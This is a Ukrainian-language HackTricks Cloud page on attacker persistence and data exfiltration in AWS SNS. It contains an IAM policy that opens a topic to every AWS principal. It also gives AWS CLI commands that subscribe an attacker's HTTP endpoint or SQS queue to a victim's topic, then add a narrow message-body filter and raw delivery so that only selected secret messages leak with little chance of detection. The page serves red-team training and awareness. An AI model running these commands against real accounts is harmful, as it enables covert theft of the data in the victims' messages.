AWS - SNS Персистентність
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
SNS
Для отримання додаткової інформації див.:
Персистентність
Під час створення SNS topic потрібно в IAM policy вказати, хто має доступ на читання та запис. Можна вказати зовнішні акаунти, ARN ролей або навіть "*".
Наведена політика надає всім в AWS доступ для читання та запису у SNS topic з назвою MySNS.fifo:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Створення підписників
Щоб продовжити exfiltrating всі повідомлення з усіх тем, зловмисник може створити підписників для всіх тем.
Зауважте, що якщо тема є типу FIFO, то можна використовувати лише підписників, які працюють через протокол SQS.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Сховане, селективне exfiltration via FilterPolicy on MessageBody
Зловмисник із правами sns:Subscribe та sns:SetSubscriptionAttributes на topic може створити приховану SQS підписку, яка переадресовує лише ті повідомлення, тіло JSON яких відповідає дуже вузькому фільтру (наприклад, {"secret":"true"}). Це знижує обсяг і ймовірність виявлення, при цьому все ще дозволяє exfiltrating конфіденційних записів.
Potential Impact: Сховане, малошумне exfiltration тільки цільових SNS повідомлень з жертви topic.
Кроки (AWS CLI):
- Переконайтесь, що політика SQS черги атакуючого дозволяє
sqs:SendMessageвід жертвиTopicArn(Conditionaws:SourceArnдорівнюєTopicArn). - Створіть SQS підписку на topic:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Налаштуйте фільтр так, щоб він працював на message body і відповідав лише
secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Опційна прихованість: увімкніть raw delivery, щоб у отримувача потрапляв лише сирий payload:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Валідація: опублікуйте два повідомлення і підтвердіть, що лише перше доставлено в чергу атакуючого. Приклад payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Очистка: відпишіться та видаліть чергу SQS атакуючого, якщо вона була створена для тестування persistence.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud